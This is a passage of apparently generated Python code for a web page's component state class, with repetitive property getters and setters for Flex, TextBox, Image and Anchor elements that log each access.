\"Flex6\" in state else None\n\t\tself.Flex7 = state[\"Flex7\"] if \"Flex7\" in state else None\n\t\tself.Flex8 = state[\"Flex8\"] if \"Flex8\" in state else None\n\t\tself.navbar = state[\"navbar\"] if \"navbar\" in state else None\n\t\tself.TextBox12 = state[\"TextBox12\"] if \"TextBox12\" in state else None\n\t\tself.TextBox13 = state[\"TextBox13\"] if \"TextBox13\" in state else None\n\t\tself.headline = state[\"headline\"] if \"headline\" in state else None\n\t\tself.gallery = state[\"gallery\"] if \"gallery\" in state else None\n\t\tself.Flex14 = state[\"Flex14\"] if \"Flex14\" in state else None\n\t\tself.Image2 = state[\"Image2\"] if \"Image2\" in state else None\n\t\tself.Image3 = state[\"Image3\"] if \"Image3\" in state else None\n\t\tself.Image8 = state[\"Image8\"] if \"Image8\" in state else None\n\t\tself.Image9 = state[\"Image9\"] if \"Image9\" in state else None\n\t\tself.Flex17 = state[\"Flex17\"] if \"Flex17\" in state else None\n\t\tself.Image10 = state[\"Image10\"] if \"Image10\" in state else None\n\t\tself.Image11 = state[\"Image11\"] if \"Image11\" in state else None\n\t\tself.Flex18 = state[\"Flex18\"] if \"Flex18\" in state else None\n\t\tself.Image12 = state[\"Image12\"] if \"Image12\" in state else None\n\t\tself.Image13 = state[\"Image13\"] if \"Image13\" in state else None\n\t\tself.Image14 = state[\"Image14\"] if \"Image14\" in state else None\n\t\tself.Image15 = state[\"Image15\"] if \"Image15\" in state else None\n\t\tself.Image16 = state[\"Image16\"] if \"Image16\" in state else None\n\t\tself.TextBox22 = state[\"TextBox22\"] if \"TextBox22\" in state else None\n\t\tself.Image17 = state[\"Image17\"] if \"Image17\" in state else None\n\t\tself.Flex19 = state[\"Flex19\"] if \"Flex19\" in state else None\n\t\tself.Flex20 = state[\"Flex20\"] if \"Flex20\" in state else None\n\t\tself.Flex21 = state[\"Flex21\"] if \"Flex21\" in state else None\n\t\tself.Flex22 = state[\"Flex22\"] if \"Flex22\" in state else None\n\t\tself.Flex23 = state[\"Flex23\"] if \"Flex23\" in state else None\n\t\tself.Flex24 = state[\"Flex24\"] if \"Flex24\" in state else None\n\t\tself.Image18 = state[\"Image18\"] if \"Image18\" in state else None\n\t\tself.Anchor21 = state[\"Anchor21\"] if \"Anchor21\" in state else None\n\t\tself.Anchor22 = state[\"Anchor22\"] if \"Anchor22\" in state else None\n\t\tself.Anchor23 = state[\"Anchor23\"] if \"Anchor23\" in state else None\n\t\tself.Anchor24 = state[\"Anchor24\"] if \"Anchor24\" in state else None\n\t\tself.Anchor25 = state[\"Anchor25\"] if \"Anchor25\" in state else None\n\t\tself.Anchor26 = state[\"Anchor26\"] if \"Anchor26\" in state else None\n\t\tself.Anchor27 = state[\"Anchor27\"] if \"Anchor27\" in state else None\n\t\tself.Flex30 = state[\"Flex30\"] if \"Flex30\" in state else None\n\t\tself.Flex31 = state[\"Flex31\"] if \"Flex31\" in state else None\n\t\tself.TextBox27 = state[\"TextBox27\"] if \"TextBox27\" in state else None\n\t\tself.Image19 = state[\"Image19\"] if \"Image19\" in state else None\n\t\tself.Flex33 = state[\"Flex33\"] if \"Flex33\" in state else None\n\t\tself.footer = state[\"footer\"] if \"footer\" in state else None\n\t\tself.Anchor28 = state[\"Anchor28\"] if \"Anchor28\" in state else None\n\t\tself.Anchor29 = state[\"Anchor29\"] if \"Anchor29\" in state else None\n\t\tself.Anchor30 = state[\"Anchor30\"] if \"Anchor30\" in state else None\n\t\tself.Anchor31 = state[\"Anchor31\"] if \"Anchor31\" in state else None\n\t\tself.Anchor32 = state[\"Anchor32\"] if \"Anchor32\" in state else None\n\t\tself.Anchor33 = state[\"Anchor33\"] if \"Anchor33\" in state else None\n\t\tself.TextBox28 = state[\"TextBox28\"] if \"TextBox28\" in state else None\n\t\tself.Flex35 = state[\"Flex35\"] if \"Flex35\" in state else None\n\t\tself.Anchor34 = state[\"Anchor34\"] if \"Anchor34\" in state else None\n\t\tself.TextBox41 = state[\"TextBox41\"] if \"TextBox41\" in state else None\n\t\tself.TextBox42 = state[\"TextBox42\"] if \"TextBox42\" in state else None\n\t\tself.TextBox43 = state[\"TextBox43\"] if \"TextBox43\" in state else None\n\t\tself.TextBox44 = state[\"TextBox44\"] if \"TextBox44\" in state else None\n\t\tself.TextBox45 = state[\"TextBox45\"] if \"TextBox45\" in state else None\n\t\tself.TextBox46 = state[\"TextBox46\"] if \"TextBox46\" in state else None\n\t\tself.TextBox47 = state[\"TextBox47\"] if \"TextBox47\" in state else None\n\t\tself.TextBox48 = state[\"TextBox48\"] if \"TextBox48\" in state else None\n\t\tself.TextBox49 = state[\"TextBox49\"] if \"TextBox49\" in state else None\n\t\tself.Anchor43 = state[\"Anchor43\"] if \"Anchor43\" in state else None\n\t\tself.TextBox50 = state[\"TextBox50\"] if \"TextBox50\" in state else None\n\t\tself.Anchor44 = state[\"Anchor44\"] if \"Anchor44\" in state else None\n\t\tself.Anchor45 = state[\"Anchor45\"] if \"Anchor45\" in state else None\n\t\tself.Anchor46 = state[\"Anchor46\"] if \"Anchor46\" in state else None\n\t\tself.TextBox51 = state[\"TextBox51\"] if \"TextBox51\" in state else None\n\t\tself.Anchor47 = state[\"Anchor47\"] if \"Anchor47\" in state else None\n\t\tself.Anchor48 = state[\"Anchor48\"] if \"Anchor48\" in state else None\n\t\tself.Anchor49 = state[\"Anchor49\"] if \"Anchor49\" in state else None\n\t\tself.Anchor50 = state[\"Anchor50\"] if \"Anchor50\" in state else None\n\t\tself.TextBox52 = state[\"TextBox52\"] if \"TextBox52\" in state else None\n\t\tself.Flex42 = state[\"Flex42\"] if \"Flex42\" in state else None\n\t\tself.Flex43 = state[\"Flex43\"] if \"Flex43\" in state else None\n\t\tself.Flex44 = state[\"Flex44\"] if \"Flex44\" in state else None\n\t\tself.Flex45 = state[\"Flex45\"] if \"Flex45\" in state else None\n\t\tself.Flex46 = state[\"Flex46\"] if \"Flex46\" in state else None\n\t\tself._setter_access_tracker = {}\n\t\tself._getter_access_tracker = {}\n \n\tdef set_event(self, event):\n\t\tself.event_data = event[\"event_data\"]\n\t\tself.event_alias = event[\"alias\"]\n\t\tcallback_name = event[\"callback_name\"]\n\t\tif hasattr(self, self.event_alias):\n\t\t\tcomp = getattr(self, self.event_alias)\n\t\t\tsetattr(comp, callback_name, True)\n\t\tself.event_repeating = event[\"repeating\"]\n \n\t\n\t@property\n\tdef container(self):\n\t\tself._getter_access_tracker[\"container\"] = {}\n\t\treturn self._container\n\t@container.setter\n\tdef container(self, new_state):\n\t\tself._setter_access_tracker[\"container\"] = {}\n\t\tself._container = Flex(new_state)\n\n\t@property\n\tdef TextBox7(self):\n\t\tself._getter_access_tracker[\"TextBox7\"] = {}\n\t\treturn self._TextBox7\n\t@TextBox7.setter\n\tdef TextBox7(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox7\"] = {}\n\t\tself._TextBox7 = TextBox(new_state)\n\n\t@property\n\tdef TextBox8(self):\n\t\tself._getter_access_tracker[\"TextBox8\"] = {}\n\t\treturn self._TextBox8\n\t@TextBox8.setter\n\tdef TextBox8(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox8\"] = {}\n\t\tself._TextBox8 = TextBox(new_state)\n\n\t@property\n\tdef TextBox9(self):\n\t\tself._getter_access_tracker[\"TextBox9\"] = {}\n\t\treturn self._TextBox9\n\t@TextBox9.setter\n\tdef TextBox9(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox9\"] = {}\n\t\tself._TextBox9 = TextBox(new_state)\n\n\t@property\n\tdef TextBox10(self):\n\t\tself._getter_access_tracker[\"TextBox10\"] = {}\n\t\treturn self._TextBox10\n\t@TextBox10.setter\n\tdef TextBox10(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox10\"] = {}\n\t\tself._TextBox10 = TextBox(new_state)\n\n\t@property\n\tdef TextBox11(self):\n\t\tself._getter_access_tracker[\"TextBox11\"] = {}\n\t\treturn self._TextBox11\n\t@TextBox11.setter\n\tdef TextBox11(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox11\"] = {}\n\t\tself._TextBox11 = TextBox(new_state)\n\n\t@property\n\tdef Image1(self):\n\t\tself._getter_access_tracker[\"Image1\"] = {}\n\t\treturn self._Image1\n\t@Image1.setter\n\tdef Image1(self, new_state):\n\t\tself._setter_access_tracker[\"Image1\"] = {}\n\t\tself._Image1 = Image(new_state)\n\n\t@property\n\tdef Anchor7(self):\n\t\tself._getter_access_tracker[\"Anchor7\"] = {}\n\t\treturn self._Anchor7\n\t@Anchor7.setter\n\tdef Anchor7(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor7\"] = {}\n\t\tself._Anchor7 = Anchor(new_state)\n\n\t@property\n\tdef Anchor8(self):\n\t\tself._getter_access_tracker[\"Anchor8\"] = {}\n\t\treturn self._Anchor8\n\t@Anchor8.setter\n\tdef Anchor8(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor8\"] = {}\n\t\tself._Anchor8 = Anchor(new_state)\n\n\t@property\n\tdef Anchor9(self):\n\t\tself._getter_access_tracker[\"Anchor9\"] = {}\n\t\treturn self._Anchor9\n\t@Anchor9.setter\n\tdef Anchor9(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor9\"] = {}\n\t\tself._Anchor9 = Anchor(new_state)\n\n\t@property\n\tdef Anchor10(self):\n\t\tself._getter_access_tracker[\"Anchor10\"] = {}\n\t\treturn self._Anchor10\n\t@Anchor10.setter\n\tdef Anchor10(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor10\"] = {}\n\t\tself._Anchor10 = Anchor(new_state)\n\n\t@property\n\tdef Anchor11(self):\n\t\tself._getter_access_tracker[\"Anchor11\"] = {}\n\t\treturn self._Anchor11\n\t@Anchor11.setter\n\tdef Anchor11(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor11\"] = {}\n\t\tself._Anchor11 = Anchor(new_state)\n\n\t@property\n\tdef Anchor12(self):\n\t\tself._getter_access_tracker[\"Anchor12\"] = {}\n\t\treturn self._Anchor12\n\t@Anchor12.setter\n\tdef Anchor12(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor12\"] = {}\n\t\tself._Anchor12 = Anchor(new_state)\n\n\t@property\n\tdef Flex6(self):\n\t\tself._getter_access_tracker[\"Flex6\"] = {}\n\t\treturn self._Flex6\n\t@Flex6.setter\n\tdef Flex6(self, new_state):\n\t\tself._setter_access_tracker[\"Flex6\"] = {}\n\t\tself._Flex6 = Flex(new_state)\n\n\t@property\n\tdef Flex7(self):\n\t\tself._getter_access_tracker[\"Flex7\"] = {}\n\t\treturn self._Flex7\n\t@Flex7.setter\n\tdef Flex7(self, new_state):\n\t\tself._setter_access_tracker[\"Flex7\"] = {}\n\t\tself._Flex7 = Flex(new_state)\n\n\t@property\n\tdef Flex8(self):\n\t\tself._getter_access_tracker[\"Flex8\"] = {}\n\t\treturn self._Flex8\n\t@Flex8.setter\n\tdef Flex8(self, new_state):\n\t\tself._setter_access_tracker[\"Flex8\"] = {}\n\t\tself._Flex8 = Flex(new_state)\n\n\t@property\n\tdef navbar(self):\n\t\tself._getter_access_tracker[\"navbar\"] = {}\n\t\treturn self._navbar\n\t@navbar.setter\n\tdef navbar(self, new_state):\n\t\tself._setter_access_tracker[\"navbar\"] = {}\n\t\tself._navbar = Flex(new_state)\n\n\t@property\n\tdef TextBox12(self):\n\t\tself._getter_access_tracker[\"TextBox12\"] = {}\n\t\treturn self._TextBox12\n\t@TextBox12.setter\n\tdef TextBox12(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox12\"] = {}\n\t\tself._TextBox12 = TextBox(new_state)\n\n\t@property\n\tdef TextBox13(self):\n\t\tself._getter_access_tracker[\"TextBox13\"] = {}\n\t\treturn self._TextBox13\n\t@TextBox13.setter\n\tdef TextBox13(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox13\"] = {}\n\t\tself._TextBox13 = TextBox(new_state)\n\n\t@property\n\tdef headline(self):\n\t\tself._getter_access_tracker[\"headline\"] = {}\n\t\treturn self._headline\n\t@headline.setter\n\tdef headline(self, new_state):\n\t\tself._setter_access_tracker[\"headline\"] = {}\n\t\tself._headline = Flex(new_state)\n\n\t@property\n\tdef gallery(self):\n\t\tself._getter_access_tracker[\"gallery\"] = {}\n\t\treturn self._gallery\n\t@gallery.setter\n\tdef gallery(self, new_state):\n\t\tself._setter_access_tracker[\"gallery\"] = {}\n\t\tself._gallery = Flex(new_state)\n\n\t@property\n\tdef Flex14(self):\n\t\tself._getter_access_tracker[\"Flex14\"] = {}\n\t\treturn self._Flex14\n\t@Flex14.setter\n\tdef Flex14(self, new_state):\n\t\tself._setter_access_tracker[\"Flex14\"] = {}\n\t\tself._Flex14 = Flex(new_state)\n\n\t@property\n\tdef Image2(self):\n\t\tself._getter_access_tracker[\"Image2\"] = {}\n\t\treturn self._Image2\n\t@Image2.setter\n\tdef Image2(self, new_state):\n\t\tself._setter_access_tracker[\"Image2\"] = {}\n\t\tself._Image2 = Image(new_state)\n\n\t@property\n\tdef Image3(self):\n\t\tself._getter_access_tracker[\"Image3\"] = {}\n\t\treturn self._Image3\n\t@Image3.setter\n\tdef Image3(self, new_state):\n\t\tself._setter_access_tracker[\"Image3\"] = {}\n\t\tself._Image3 = Image(new_state)\n\n\t@property\n\tdef Image8(self):\n\t\tself._getter_access_tracker[\"Image8\"] = {}\n\t\treturn self._Image8\n\t@Image8.setter\n\tdef Image8(self, new_state):\n\t\tself._setter_access_tracker[\"Image8\"] = {}\n\t\tself._Image8 = Image(new_state)\n\n\t@property\n\tdef Image9(self):\n\t\tself._getter_access_tracker[\"Image9\"] = {}\n\t\treturn self._Image9\n\t@Image9.setter\n\tdef Image9(self, new_state):\n\t\tself._setter_access_tracker[\"Image9\"] = {}\n\t\tself._Image9 = Image(new_state)\n\n\t@property\n\tdef Flex17(self):\n\t\tself._getter_access_tracker[\"Flex17\"] = {}\n\t\treturn self._Flex17\n\t@Flex17.setter\n\tdef Flex17(self, new_state):\n\t\tself._setter_access_tracker[\"Flex17\"] = {}\n\t\tself._Flex17 = Flex(new_state)\n\n\t@property\n\tdef Image10(self):\n\t\tself._getter_access_tracker[\"Image10\"] = {}\n\t\treturn self._Image10\n\t@Image10.setter\n\tdef Image10(self, new_state):\n\t\tself._setter_access_tracker[\"Image10\"] = {}\n\t\tself._Image10 = Image(new_state)\n\n\t@property\n\tdef Image11(self):\n\t\tself._getter_access_tracker[\"Image11\"] = {}\n\t\treturn self._Image11\n\t@Image11.setter\n\tdef Image11(self, new_state):\n\t\tself._setter_access_tracker[\"Image11\"] = {}\n\t\tself._Image11 = Image(new_state)\n\n\t@property\n\tdef Flex18(self):\n\t\tself._getter_access_tracker[\"Flex18\"] = {}\n\t\treturn self._Flex18\n\t@Flex18.setter\n\tdef Flex18(self, new_state):\n\t\tself._setter_access_tracker[\"Flex18\"] = {}\n\t\tself._Flex18 = Flex(new_state)\n\n\t@property\n\tdef Image12(self):\n\t\tself._getter_access_tracker[\"Image12\"] = {}\n\t\treturn self._Image12\n\t@Image12.setter\n\tdef Image12(self, new_state):\n\t\tself._setter_access_tracker[\"Image12\"] = {}\n\t\tself._Image12 = Image(new_state)\n\n\t@property\n\tdef Image13(self):\n\t\tself._getter_access_tracker[\"Image13\"] = {}\n\t\treturn self._Image13\n\t@Image13.setter\n\tdef Image13(self, new_state):\n\t\tself._setter_access_tracker[\"Image13\"] = {}\n\t\tself._Image13 = Image(new_state)\n\n\t@property\n\tdef Image14(self):\n\t\tself._getter_access_tracker[\"Image14\"] = {}\n\t\treturn self._Image14\n\t@Image14.setter\n\tdef Image14(self, new_state):\n\t\tself._setter_access_tracker[\"Image14\"] = {}\n\t\tself._Image14 = Image(new_state)\n\n\t@property\n\tdef Image15(self):\n\t\tself._getter_access_tracker[\"Image15\"] = {}\n\t\treturn self._Image15\n\t@Image15.setter\n\tdef Image15(self, new_state):\n\t\tself._setter_access_tracker[\"Image15\"] = {}\n\t\tself._Image15 = Image(new_state)\n\n\t@property\n\tdef Image16(self):\n\t\tself._getter_access_tracker[\"Image16\"] = {}\n\t\treturn self._Image16\n\t@Image16.setter\n\tdef Image16(self, new_state):\n\t\tself._setter_access_tracker[\"Image16\"] = {}\n\t\tself._Image16 = Image(new_state)\n\n\t@property\n\tdef TextBox22(self):\n\t\tself._getter_access_tracker[\"TextBox22\"] = {}\n\t\treturn self._TextBox22\n\t@TextBox22.setter\n\tdef TextBox22(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox22\"] = {}\n\t\tself._TextBox22 = TextBox(new_state)\n\n\t@property\n\tdef Image17(self):\n\t\tself._getter_access_tracker[\"Image17\"] = {}\n\t\treturn self._Image17\n\t@Image17.setter\n\tdef Image17(self, new_state):\n\t\tself._setter_access_tracker[\"Image17\"] = {}\n\t\tself._Image17 = Image(new_state)\n\n\t@property\n\tdef Flex19(self):\n\t\tself._getter_access_tracker[\"Flex19\"] = {}\n\t\treturn self._Flex19\n\t@Flex19.setter\n\tdef Flex19(self, new_state):\n\t\tself._setter_access_tracker[\"Flex19\"] = {}\n\t\tself._Flex19 = Flex(new_state)\n\n\t@property\n\tdef Flex20(self):\n\t\tself._getter_access_tracker[\"Flex20\"] = {}\n\t\treturn self._Flex20\n\t@Flex20.setter\n\tdef Flex20(self, new_state):\n\t\tself._setter_access_tracker[\"Flex20\"] = {}\n\t\tself._Flex20 = Flex(new_state)\n\n\t@property\n\tdef Flex21(self):\n\t\tself._getter_access_tracker[\"Flex21\"] = {}\n\t\treturn self._Flex21\n\t@Flex21.setter\n\tdef Flex21(self, new_state):\n\t\tself._setter_access_tracker[\"Flex21\"] = {}\n\t\tself._Flex21 = Flex(new_state)\n\n\t@property\n\tdef Flex22(self):\n\t\tself._getter_access_tracker[\"Flex22\"] = {}\n\t\treturn self._Flex22\n\t@Flex22.setter\n\tdef Flex22(self, new_state):\n\t\tself._setter_access_tracker[\"Flex22\"] = {}\n\t\tself._Flex22 = Flex(new_state)\n\n\t@property\n\tdef Flex23(self):\n\t\tself._getter_access_tracker[\"Flex23\"] = {}\n\t\treturn self._Flex23\n\t@Flex23.setter\n\tdef Flex23(self, new_state):\n\t\tself._setter_access_tracker[\"Flex23\"] = {}\n\t\tself._Flex23 = Flex(new_state)\n\n\t@property\n\tdef Flex24(self):\n\t\tself._getter_access_tracker[\"Flex24\"] = {}\n\t\treturn self._Flex24\n\t@Flex24.setter\n\tdef Flex24(self, new_state):\n\t\tself._setter_access_tracker[\"Flex24\"] = {}\n\t\tself._Flex24 = Flex(new_state)\n\n\t@property\n\tdef Image18(self):\n\t\tself._getter_access_tracker[\"Image18\"] = {}\n\t\treturn self._Image18\n\t@Image18.setter\n\tdef Image18(self, new_state):\n\t\tself._setter_access_tracker[\"Image18\"] = {}\n\t\tself._Image18 = Image(new_state)\n\n\t@property\n\tdef Anchor21(self):\n\t\tself._getter_access_tracker[\"Anchor21\"] = {}\n\t\treturn self._Anchor21\n\t@Anchor21.setter\n\tdef Anchor21(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor21\"] = {}\n\t\tself._Anchor21 = Anchor(new_state)\n\n\t@property\n\tdef Anchor22(self):\n\t\tself._getter_access_tracker[\"Anchor22\"] = {}\n\t\treturn self._Anchor22\n\t@Anchor22.setter\n\tdef Anchor22(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor22\"] = {}\n\t\tself._Anchor22 = Anchor(new_state)\n\n\t@property\n\tdef Anchor23(self):\n\t\tself._getter_access_tracker[\"Anchor23\"] = {}\n\t\treturn self._Anchor23\n\t@Anchor23.setter\n\tdef Anchor23(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor23\"] = {}\n\t\tself._Anchor23 = Anchor(new_state)\n\n\t@property\n\tdef Anchor24(self):\n\t\tself._getter_access_tracker[\"Anchor24\"] = {}\n\t\treturn self._Anchor24\n\t@Anchor24.setter\n\tdef Anchor24(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor24\"] = {}\n\t\tself._Anchor24 = Anchor(new_state)\n\n\t@property\n\tdef Anchor25(self):\n\t\tself._getter_access_tracker[\"Anchor25\"] = {}\n\t\treturn self._Anchor25\n\t@Anchor25.setter\n\tdef Anchor25(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor25\"] = {}\n\t\tself._Anchor25 = Anchor(new_state)\n\n\t@property\n\tdef Anchor26(self):\n\t\tself._getter_access_tracker[\"Anchor26\"] = {}\n\t\treturn self._Anchor26\n\t@Anchor26.setter\n\tdef Anchor26(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor26\"] = {}\n\t\tself._Anchor26 = Anchor(new_state)\n\n\t@property\n\tdef Anchor27(self):\n\t\tself._getter_access_tracker[\"Anchor27\"] = {}\n\t\treturn self._Anchor27\n\t@Anchor27.setter\n\tdef Anchor27(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor27\"] = {}\n\t\tself._Anchor27 = Anchor(new_state)\n\n\t@property\n\tdef Flex30(self):\n\t\tself._getter_access_tracker[\"Flex30\"] = {}\n\t\treturn self._Flex30\n\t@Flex30.setter\n\tdef Flex30(self, new_state):\n\t\tself._setter_access_tracker[\"Flex30\"] = {}\n\t\tself._Flex30 = Flex(new_state)\n\n\t@property\n\tdef Flex31(self):\n\t\tself._getter_access_tracker[\"Flex31\"] = {}\n\t\treturn self._Flex31\n\t@Flex31.setter\n\tdef Flex31(self, new_state):\n\t\tself._setter_access_tracker[\"Flex31\"] = {}\n\t\tself._Flex31 = Flex(new_state)\n\n\t@property\n\tdef TextBox27(self):\n\t\tself._getter_access_tracker[\"TextBox27\"] = {}\n\t\treturn self._TextBox27\n\t@TextBox27.setter\n\tdef TextBox27(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox27\"] = {}\n\t\tself._TextBox27 = TextBox(new_state)\n\n\t@property\n\tdef Image19(self):\n\t\tself._getter_access_tracker[\"Image19\"] = {}\n\t\treturn self._Image19\n\t@Image19.setter\n\tdef Image19(self, new_state):\n\t\tself._setter_access_tracker[\"Image19\"] = {}\n\t\tself._Image19 = Image(new_state)\n\n\t@property\n\tdef Flex33(self):\n\t\tself._getter_access_tracker[\"Flex33\"] = {}\n\t\treturn self._Flex33\n\t@Flex33.setter\n\tdef Flex33(self, new_state):\n\t\tself._setter_access_tracker[\"Flex33\"] = {}\n\t\tself._Flex33 = Flex(new_state)\n\n\t@property\n\tdef footer(self):\n\t\tself._getter_access_tracker[\"footer\"] = {}\n\t\treturn self._footer\n\t@footer.setter\n\tdef footer(self, new_state):\n\t\tself._setter_access_tracker[\"footer\"] = {}\n\t\tself._footer = Flex(new_state)\n\n\t@property\n\tdef Anchor28(self):\n\t\tself._getter_access_tracker[\"Anchor28\"] = {}\n\t\treturn self._Anchor28\n\t@Anchor28.setter\n\tdef Anchor28(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor28\"] = {}\n\t\tself._Anchor28 = Anchor(new_state)\n\n\t@property\n\tdef Anchor29(self):\n\t\tself._getter_access_tracker[\"Anchor29\"] = {}\n\t\treturn self._Anchor29\n\t@Anchor29.setter\n\tdef Anchor29(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor29\"] = {}\n\t\tself._Anchor29 = Anchor(new_state)\n\n\t@property\n\tdef Anchor30(self):\n\t\tself._getter_access_tracker[\"Anchor30\"] = {}\n\t\treturn self._Anchor30\n\t@Anchor30.setter\n\tdef Anchor30(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor30\"] = {}\n\t\tself._Anchor30 = Anchor(new_state)\n\n\t@property\n\tdef Anchor31(self):\n\t\tself._getter_access_tracker[\"Anchor31\"] = {}\n\t\treturn self._Anchor31\n\t@Anchor31.setter\n\tdef Anchor31(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor31\"] = {}\n\t\tself._Anchor31 = Anchor(new_state)\n\n\t@property\n\tdef Anchor32(self):\n\t\tself._getter_access_tracker[\"Anchor32\"] = {}\n\t\treturn self._Anchor32\n\t@Anchor32.setter\n\tdef Anchor32(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor32\"] = {}\n\t\tself._Anchor32 = Anchor(new_state)\n\n\t@property\n\tdef Anchor33(self):\n\t\tself._getter_access_tracker[\"Anchor33\"] = {}\n\t\treturn self._Anchor33\n\t@Anchor33.setter\n\tdef Anchor33(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor33\"] = {}\n\t\tself._Anchor33 = Anchor(new_state)\n\n\t@property\n\tdef TextBox28(self):\n\t\tself._getter_access_tracker[\"TextBox28\"] = {}\n\t\treturn self._TextBox28\n\t@TextBox28.setter\n\tdef TextBox28(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox28\"] = {}\n\t\tself._TextBox28 = TextBox(new_state)\n\n\t@property\n\tdef Flex35(self):\n\t\tself._getter_access_tracker[\"Flex35\"] = {}\n\t\treturn self._Flex35\n\t@Flex35.setter\n\tdef Flex35(self, new_state):\n\t\tself._setter_access_tracker[\"Flex35\"] = {}\n\t\tself._Flex35 = Flex(new_state)\n\n\t@property\n\tdef Anchor34(self):\n\t\tself._getter_access_tracker[\"Anchor34\"] = {}\n\t\treturn self._Anchor34\n\t@Anchor34.setter\n\tdef Anchor34(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor34\"] = {}\n\t\tself._Anchor34 = Anchor(new_state)\n\n\t@property\n\tdef TextBox41(self):\n\t\tself._getter_access_tracker[\"TextBox41\"] = {}\n\t\treturn self._TextBox41\n\t@TextBox41.setter\n\tdef TextBox41(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox41\"] = {}\n\t\tself._TextBox41 = TextBox(new_state)\n\n\t@property\n\tdef TextBox42(self):\n\t\tself._getter_access_tracker[\"TextBox42\"] = {}\n\t\treturn self._TextBox42\n\t@TextBox42.setter\n\tdef TextBox42(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox42\"] = {}\n\t\tself._TextBox42 = TextBox(new_state)\n\n\t@property\n\tdef TextBox43(self):\n\t\tself._getter_access_tracker[\"TextBox43\"] = {}\n\t\treturn self._TextBox43\n\t@TextBox43.setter\n\tdef TextBox43(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox43\"] = {}\n\t\tself._TextBox43 = TextBox(new_state)\n\n\t@property\n\tdef TextBox44(self):\n\t\tself._getter_access_tracker[\"TextBox44\"] = {}\n\t\treturn self._TextBox44\n\t@TextBox44.setter\n\tdef TextBox44(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox44\"] = {}\n\t\tself._TextBox44 = TextBox(new_state)\n\n\t@property\n\tdef TextBox45(self):\n\t\tself._getter_access_tracker[\"TextBox45\"] = {}\n\t\treturn self._TextBox45\n\t@TextBox45.setter\n\tdef TextBox45(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox45\"] = {}\n\t\tself._TextBox45 = TextBox(new_state)\n\n\t@property\n\tdef TextBox46(self):\n\t\tself._getter_access_tracker[\"TextBox46\"] = {}\n\t\treturn self._TextBox46\n\t@TextBox46.setter\n\tdef TextBox46(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox46\"] = {}\n\t\tself._TextBox46 = TextBox(new_state)\n\n\t@property\n\tdef TextBox47(self):\n\t\tself._getter_access_tracker[\"TextBox47\"] = {}\n\t\treturn self._TextBox47\n\t@TextBox47.setter\n\tdef TextBox47(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox47\"] = {}\n\t\tself._TextBox47 = TextBox(new_state)\n\n\t@property\n\tdef TextBox48(self):\n\t\tself._getter_access_tracker[\"TextBox48\"] = {}\n\t\treturn self._TextBox48\n\t@TextBox48.setter\n\tdef TextBox48(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox48\"] = {}\n\t\tself._TextBox48 = TextBox(new_state)\n\n\t@property\n\tdef TextBox49(self):\n\t\tself._getter_access_tracker[\"TextBox49\"] = {}\n\t\treturn self._TextBox49\n\t@TextBox49.setter\n\tdef TextBox49(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox49\"] = {}\n\t\tself._TextBox49 = TextBox(new_state)\n\n\t@property\n\tdef Anchor43(self):\n\t\tself._getter_access_tracker[\"Anchor43\"] = {}\n\t\treturn self._Anchor43\n\t@Anchor43.setter\n\tdef Anchor43(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor43\"] = {}\n\t\tself._Anchor43 = Anchor(new_state)\n\n\t@property\n\tdef TextBox50(self):\n\t\tself._getter_access_tracker[\"TextBox50\"] = {}\n\t\treturn self._TextBox50\n\t@TextBox50.setter\n\tdef TextBox50(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox50\"] = {}\n\t\tself._TextBox50 = TextBox(new_state)\n\n\t@property\n\tdef Anchor44(self):\n\t\tself._getter_access_tracker[\"Anchor44\"] = {}\n\t\treturn self._Anchor44\n\t@Anchor44.setter\n\tdef Anchor44(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor44\"] = {}\n\t\tself._Anchor44 = Anchor(new_state)\n\n\t@property\n\tdef Anchor45(self):\n\t\tself._getter_access_tracker[\"Anchor45\"] = {}\n\t\treturn self._Anchor45\n\t@Anchor45.setter\n\tdef Anchor45(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor45\"] = {}\n\t\tself._Anchor45 = Anchor(new_state)\n\n\t@property\n\tdef Anchor46(self):\n\t\tself._getter_access_tracker[\"Anchor46\"] = {}\n\t\treturn self._Anchor46\n\t@Anchor46.setter\n\tdef Anchor46(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor46\"] = {}\n\t\tself._Anchor46 = Anchor(new_state)\n\n\t@property\n\tdef TextBox51(self):\n\t\tself._getter_access_tracker[\"TextBox51\"] = {}\n\t\treturn self._TextBox51\n\t@TextBox51.setter\n\tdef TextBox51(self, 